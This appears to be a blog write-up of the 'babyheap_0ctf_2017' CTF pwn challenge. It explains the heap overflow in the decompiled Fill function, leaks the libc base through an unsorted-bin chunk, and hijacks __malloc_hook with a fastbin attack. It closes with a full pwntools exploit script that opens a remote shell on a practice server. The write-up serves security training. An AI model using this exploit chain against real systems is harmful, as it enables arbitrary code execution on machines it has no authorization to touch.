【babyheap_0ctf_2017】WriteUp

Eutopia's Blog

Posted by Eutopia on February 28, 2024

【babyheap_0ctf_2017】WriteUp

checksec查看,保护全开,可以查看是否有堆的漏洞

[*] '/home/bronya/Documents/CTF/pwn18/babyheap_0ctf_2017'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

ida查看:

main函数提供了菜单以及选择功能

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *v4; // [rsp+8h] [rbp-8h]

  v4 = sub_B70();
  while ( 1 )
  {
    sub_CF4();
    switch ( sub_138C() )
    {
      case 1LL:
        Allocate(v4);
        break;
      case 2LL:
        Fill(v4);
        break;
      case 3LL:
        Free(v4);
        break;
      case 4LL:
        Dump(v4);
        break;
      case 5LL:
        return 0LL;
      default:
        continue;
    }
  }
}

allocate函数根据大小申请堆空间

void __fastcall Allocate(__int64 a1)
{
  int i; // [rsp+10h] [rbp-10h]
  int v2; // [rsp+14h] [rbp-Ch]
  void *v3; // [rsp+18h] [rbp-8h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !*(_DWORD *)(24LL * i + a1) )
    {
      printf("Size: ");
      v2 = sub_138C();
      if ( v2 > 0 )
      {
        if ( v2 > 4096 )
          v2 = 4096;
        v3 = calloc(v2, 1uLL);
        if ( !v3 )
          exit(-1);
        *(_DWORD *)(24LL * i + a1) = 1;
        *(_QWORD *)(a1 + 24LL * i + 8) = v2;
        *(_QWORD *)(a1 + 24LL * i + 16) = v3;
        printf("Allocate Index %d\n", (unsigned int)i);
      }
      return;
    }
  }
}

Fill函数向指定index堆块写入内容,注意此处没有对大小进行限制,因此可以考虑fastbin attack劫持

__int64 __fastcall Fill(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+18h] [rbp-8h]
  int v3; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = sub_138C();
  v2 = result;
  if ( (unsigned int)result <= 0xF )
  {
    result = *(unsigned int *)(24LL * (int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      printf("Size: ");
      result = sub_138C();
      v3 = result;
      if ( (int)result > 0 )
      {
        printf("Content: ");
        return sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
      }
    }
  }
  return result;
}

Dump函数打印指定index的内容,可以用于泄漏main_arena地址,进一步泄漏libc基址

int __fastcall Dump(__int64 a1)
{
  int result; // eax
  int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = sub_138C();
  v2 = result;
  if ( (unsigned int)result <= 0xF )
  {
    result = *(_DWORD *)(24LL * result + a1);
    if ( result == 1 )
    {
      puts("Content: ");
      sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
      return puts(byte_14F1);
    }
  }
  return result;
}

因此答题思路为unsortedbin attack泄漏libc基址,fastbin attack劫持malloc_hook,使用one_gadget getshell

Step1: 泄漏Libc基址

注:当small chunk被释放时,它的fd,bk指向同一个指针即top chunk地址,这个地址保存在main_arena的0x58偏移处,而main_arena在libc的data段中,是全局静态变量,偏移也是固定的,根据这些可以计算出libc的基址。因此只需要当small chunk释放后,还可以打印出其值。

首先申请一些小堆块,然后free掉id 1,2,利用堆溢出漏洞,将chunk2 fd指针修改为chunk4地址,相当于chunk4已经free并且为fastbin,然后要malloc回chunk4,不过由于有大小检查,需要修改chunk4的大小,通过修改chunk3来实现。这样可以实现将small chunk放入fastbin中的效果。注,此时有两个指针指向同一个chunk4,此时将chunk4大小修改回原来值,将正常的chunk4 free掉,就可以令其fd,bk指针指向top_chunk,同时新申请的也指向了chunk4,可以用于查看fd,bk值。由此可以计算出libc值

Step2: 修改malloc_hook为one_gadget

使用fastbin attack构造fake chunk修改malloc_hook指针地址即可

exp如下:

from pwn import *

context(arch='amd64', log_level='debug')

# p = process('./babyheap_0ctf_2017')
p = remote('node5.buuoj.cn', 25147)
"""
struct {
    1, (8) # 表示是否allocate
    size: , (8)
    content pointer: , (8)
}
"""

def allocate(size):
    p.sendlineafter(b'Command: ', b'1')
    p.sendlineafter(b'Size: ', str(size))

def fill(index, size, content):
    p.sendlineafter(b'Command: ', b'2')
    p.sendlineafter(b'Index: ', index)
    p.sendlineafter(b'Size: ', str(size))
    p.sendlineafter(b'Content: ', content)

def free(index):
    p.sendlineafter(b'Command: ', b'3')
    p.sendlineafter(b'Index: ', index)
    
def dump(index):
    p.sendlineafter(b'Command: ', b'4')
    p.sendlineafter(b'Index: ', index)
    p.recvline()
    return p.recvline()

"""
heap overflow
1. 泄漏libc基址
2. 修改libc中malloc_hook地址为one_gadget
"""

# Step1: 泄漏libc基址
# gdb.attach(p, 'b *$rebase(0x0000000000001142)')
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)

free(b'1')
free(b'2')

payload = flat(b'\x00'*0x18, 0x21, b'\x00'*0x18, 0x21, p8(0x80))
fill(b'0', len(payload), payload)

payload = flat(b'\x00'*0x18, 0x21)
fill(b'3', len(payload), payload)

allocate(0x10)
allocate(0x10)

payload = flat(b'\x00'*0x18, 0x91)
fill(b'3', len(payload), payload)

allocate(0x80)
free(b'4')

libc_addr = u64(dump(b'2')[:8].ljust(8, b'\x00')) - 0x3c4b78
success(hex(libc_addr))


# Step2: 劫持malloc_hook
fake_chunk = libc_addr + 0x3c4aed
allocate(0x60)
free(b'4')
payload = flat(fake_chunk)
fill(b'2', len(payload), payload)
allocate(0x60)
allocate(0x60)
"""
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

"""
one_gadget = libc_addr + 0x4526a
payload = flat(p8(0)*3, 0, 0, one_gadget)
fill(b'6', len(payload), payload)
allocate(0x90)

p.interactive()